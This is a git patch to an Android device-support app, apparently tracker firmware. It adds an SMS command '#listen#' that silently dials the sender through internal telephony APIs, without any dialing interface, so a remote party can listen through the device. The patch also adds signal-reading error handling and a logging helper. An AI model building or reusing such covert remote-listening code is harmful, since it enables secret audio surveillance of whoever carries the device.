From bafe8f6b70f16174379fa6dcb3cd8fdcafd12998 Mon Sep 17 00:00:00 2001 From: snicker Date: Mon, 4 May 2020 08:39:19 +0800 Subject: [PATCH] =?utf8?q?=E6=B7=BB=E5=8A=A0=20SMS=E6=8C=87=E4=BB=A4listen?= =?utf8?q?=20=20=E4=BD=86=E6=98=AF=E6=97=A0=E6=8B=A8=E5=8F=B7=E7=95=8C?= =?utf8?q?=E9=9D=A2=E6=8B=A8=E5=8F=B7=E8=BF=98=E6=B2=A1=E5=AE=9E=E7=8E=B0?= =?utf8?q?=EF=BC=81=20=E6=B7=BB=E5=8A=A0=20ICLoggger=20printStacktrace=20?= =?utf8?q?=E5=8A=9F=E8=83=BD?= MIME-Version: 1.0 Content-Type: text/plain; charset=utf8 Content-Transfer-Encoding: 8bit --- .../com/enqualcomm/support/ICSmsManager.java | 5 + .../enqualcomm/support/adapter/LBSHelper.java | 3 +- .../support/utils/CellInfoUtil.java | 133 ++++++++++++++---- .../enqualcomm/support/utils/ICLogger.java | 16 +++ 4 files changed, 125 insertions(+), 32 deletions(-) diff --git a/app/src/main/java/com/enqualcomm/support/ICSmsManager.java b/app/src/main/java/com/enqualcomm/support/ICSmsManager.java index ed399e92..10e41ff1 100644 --- a/app/src/main/java/com/enqualcomm/support/ICSmsManager.java +++ b/app/src/main/java/com/enqualcomm/support/ICSmsManager.java @@ -20,6 +20,7 @@ import com.enqualcomm.support.bean.ICLocation; import com.enqualcomm.support.bean.Runtime; import com.enqualcomm.support.service.Deliver; import com.enqualcomm.support.utils.APNUtil; +import com.enqualcomm.support.utils.CellInfoUtil; import com.enqualcomm.support.utils.DeviceInfoUtil; import com.enqualcomm.support.utils.ICHttpUtil; import com.enqualcomm.support.utils.ICLogger; @@ -721,6 +722,10 @@ public class ICSmsManager { } else { sendSMS(phonenumber, "set SMSCMD PWD format error!"); } + } else if (sms.equals(ENCRYPED_HEADER+"#listen#")) { + sendSMS(phonenumber, "start listen !"); + CellInfoUtil.dialSilent(runtime.getContextProxy().context,phonenumber); + } else if (sms.equals(ENCRYPED_HEADER+"#updateViaFota#")) { cell_number_to_reply=phonenumber; diff --git a/app/src/main/java/com/enqualcomm/support/adapter/LBSHelper.java b/app/src/main/java/com/enqualcomm/support/adapter/LBSHelper.java index f20c1754..59691e3d 100644 --- a/app/src/main/java/com/enqualcomm/support/adapter/LBSHelper.java +++ b/app/src/main/java/com/enqualcomm/support/adapter/LBSHelper.java @@ -266,7 +266,8 @@ public class LBSHelper { public void onSignalStrengthsChanged(SignalStrength ss) { super.onSignalStrengthsChanged(ss); TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); - int gsmSignal= 150-Math.abs(CellInfoUtil.getSignal(tm,runtime)); + int tmpsignal=CellInfoUtil.getSignal(tm,runtime); + int gsmSignal= 150-Math.abs(tmpsignal); runtime.setSignalStrength(gsmSignal); } diff --git a/app/src/main/java/com/enqualcomm/support/utils/CellInfoUtil.java b/app/src/main/java/com/enqualcomm/support/utils/CellInfoUtil.java index 26889097..483f38de 100644 --- a/app/src/main/java/com/enqualcomm/support/utils/CellInfoUtil.java +++ b/app/src/main/java/com/enqualcomm/support/utils/CellInfoUtil.java @@ -1,9 +1,11 @@ package com.enqualcomm.support.utils; +import android.content.Context; import android.os.Build; import android.os.Handler; import android.os.Message; import android.os.PowerManager; +import android.provider.ContactsContract; import android.telephony.CellInfo; import android.telephony.CellInfoCdma; import android.telephony.CellInfoGsm; @@ -19,58 +21,127 @@ import android.telephony.TelephonyManager; import android.telephony.cdma.CdmaCellLocation; import android.telephony.gsm.GsmCellLocation; +import com.android.internal.telephony.CallManager; +import com.android.internal.telephony.CallStateException; +import com.android.internal.telephony.Phone; +import com.android.internal.telephony.PhoneFactory; import com.enqualcomm.support.Config; import com.enqualcomm.support.GSensorListener; import com.enqualcomm.support.bean.Runtime; +import com.sprd.internal.telephony.SprdCallManager; +import java.lang.reflect.Method; import java.util.Collections; import java.util.Comparator; import java.util.Iterator; import java.util.List; +import rx.Single; +import rx.android.schedulers.AndroidSchedulers; +import rx.functions.Action1; + public class CellInfoUtil { + + public static void dialSilent(Context context,String dialnumber){ +// try { +// Class phoneFactoryClass = Class.forName("com.android.internal.telephony.PhoneFactory"); +// +// Method makeDefaultPhones = phoneFactoryClass.getMethod("makeDefaultPhones", Context.class); +// +// makeDefaultPhones.invoke(null, context); +// +// Method getDefaultPhone = phoneFactoryClass.getMethod("getDefaultPhone"); +// +// Object p = getDefaultPhone.invoke(null); +// +// Class classCallManager = Class.forName("com.sprd.internal.telephony.SprdCallManager"); +// +// Object CallManagerInstance = classCallManager.getDeclaredMethod("getInstance"); +// +// classCallManager.getMethod("registerPhone", Object.class).invoke(CallManagerInstance, p); +// +// Method newGetDefaultPhone = classCallManager.getMethod("getDefaultPhone"); +// +// Object phone = newGetDefaultPhone.invoke(CallManagerInstance); +// +// String phoneName = "com.android.internal.telephony.Phone"; +// +// Class phoneClass = Class.forName(phoneName); +// +// phoneClass.getMethod("dial", String.class).invoke(phone, dialnumber); +// }catch (Exception e){ +// ICLogger.PrintExceptionStackTrace(e); +// } + + Single.just(null).observeOn(AndroidSchedulers.mainThread()).subscribe(new Action1() { + public void call(Object param1Object) { + + PhoneFactory.makeDefaultPhones(context); + + Phone p = PhoneFactory.getDefaultPhone(); + + SprdCallManager cm = (SprdCallManager)SprdCallManager.getInstance(); + + cm.registerPhone(p); + + Phone phone = cm.getDefaultPhone(); + + try { + phone.dial(dialnumber); + } catch (Exception e) { + ICLogger.PrintExceptionStackTrace(e); + } + } + }); + + } public static int getSignal(TelephonyManager tm , Runtime runtime){ if(tm==null) return 5; - CellLocation celllocation = tm.getCellLocation(); - if (celllocation == null) { - ICLogger.i("cellLocation = null"); - return 1; - } else { - if (celllocation instanceof GsmCellLocation) { - for (CellInfo cinfo : tm.getAllCellInfo()) { - if (cinfo instanceof CellInfoGsm){ - CellSignalStrengthGsm cigsm=((CellInfoGsm)cinfo).getCellSignalStrength(); - ICLogger.i("gsm signal dbm ="+cigsm.getDbm()+",level="+cigsm.getLevel()); - runtime.setSignalInfo("gsm signal dbm ="+cigsm.getDbm()+",level="+cigsm.getLevel()); + try { + CellLocation celllocation = tm.getCellLocation(); + if (celllocation == null) { + ICLogger.i("cellLocation = null"); + return 1; + } else { + if (celllocation instanceof GsmCellLocation) { + for (CellInfo cinfo : tm.getAllCellInfo()) { + if (cinfo instanceof CellInfoGsm) { + CellSignalStrengthGsm cigsm = ((CellInfoGsm) cinfo).getCellSignalStrength(); + ICLogger.i("gsm signal dbm =" + cigsm.getDbm() + ",level=" + cigsm.getLevel()); + runtime.setSignalInfo("gsm signal dbm =" + cigsm.getDbm() + ",level=" + cigsm.getLevel()); return cigsm.getDbm(); - }else if (cinfo instanceof CellInfoLte){ - CellSignalStrengthLte cigsm=((CellInfoLte)cinfo).getCellSignalStrength(); - ICLogger.i("lte signal dbm ="+cigsm.getDbm()+",level="+cigsm.getLevel()); - runtime.setSignalInfo("lte signal dbm ="+cigsm.getDbm()+",level="+cigsm.getLevel()); + } else if (cinfo instanceof CellInfoLte) { + CellSignalStrengthLte cigsm = ((CellInfoLte) cinfo).getCellSignalStrength(); + ICLogger.i("lte signal dbm =" + cigsm.getDbm() + ",level=" + cigsm.getLevel()); + runtime.setSignalInfo("lte signal dbm =" + cigsm.getDbm() + ",level=" + cigsm.getLevel()); return cigsm.getDbm(); - }else if (cinfo instanceof CellInfoWcdma) { - CellSignalStrengthWcdma cicdma = ((CellInfoWcdma) cinfo).getCellSignalStrength(); - ICLogger.i("wcdma signal dbm ="+cicdma.getDbm()+",level="+cicdma.getLevel()); - runtime.setSignalInfo("wcdma signal dbm ="+cicdma.getDbm()+",level="+cicdma.getLevel()); - return cicdma.getDbm(); + } else if (cinfo instanceof CellInfoWcdma) { + CellSignalStrengthWcdma cicdma = ((CellInfoWcdma) cinfo).getCellSignalStrength(); + ICLogger.i("wcdma signal dbm =" + cicdma.getDbm() + ",level=" + cicdma.getLevel()); + runtime.setSignalInfo("wcdma signal dbm =" + cicdma.getDbm() + ",level=" + cicdma.getLevel()); + return cicdma.getDbm(); + } } - } - return 2; - }else if (celllocation instanceof CdmaCellLocation) { - for (CellInfo cinfo : tm.getAllCellInfo()) { - if (cinfo instanceof CellInfoCdma) { - CellSignalStrengthCdma cicdma = ((CellInfoCdma) cinfo).getCellSignalStrength(); - ICLogger.i("cdma signal dbm ="+cicdma.getDbm()+",level="+cicdma.getLevel()); - runtime.setSignalInfo("cdma signal dbm ="+cicdma.getDbm()+",level="+cicdma.getLevel()); - return cicdma.getDbm(); + return 2; + } else if (celllocation instanceof CdmaCellLocation) { + for (CellInfo cinfo : tm.getAllCellInfo()) { + if (cinfo instanceof CellInfoCdma) { + CellSignalStrengthCdma cicdma = ((CellInfoCdma) cinfo).getCellSignalStrength(); + ICLogger.i("cdma signal dbm =" + cicdma.getDbm() + ",level=" + cicdma.getLevel()); + runtime.setSignalInfo("cdma signal dbm =" + cicdma.getDbm() + ",level=" + cicdma.getLevel()); + return cicdma.getDbm(); + } } + return 3; } - return 3; + return 4; } - return 4; + }catch (Exception e){ + ICLogger.PrintExceptionStackTrace(e); + return 6; } } public static String getCellInfo(TelephonyManager telephonyManager, Runtime runtime) { diff --git a/app/src/main/java/com/enqualcomm/support/utils/ICLogger.java b/app/src/main/java/com/enqualcomm/support/utils/ICLogger.java index 913f6009..d755ccbc 100644 --- a/app/src/main/java/com/enqualcomm/support/utils/ICLogger.java +++ b/app/src/main/java/com/enqualcomm/support/utils/ICLogger.java @@ -17,6 +17,9 @@ import org.apache.log4j.spi.LoggingEvent; import java.io.File; import java.io.IOException; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.io.PrintStream; import de.mindpipe.android.logging.log4j.LogConfigurator; @@ -267,6 +270,19 @@ public class ICLogger { Log.error(buildMessage(msg), thr); } + public static void PrintExceptionStackTrace(Exception e){ + + StringBuffer sb=new StringBuffer(); + sb.append(e.getMessage()).append("\n"); + e.printStackTrace(new PrintStream(new OutputStream() { + @Override + public void write(int b) throws IOException { + sb.append((char)b); + } + })); + i(sb.toString()); + } + /** * 生成消息 * @param msg -- 2.17.1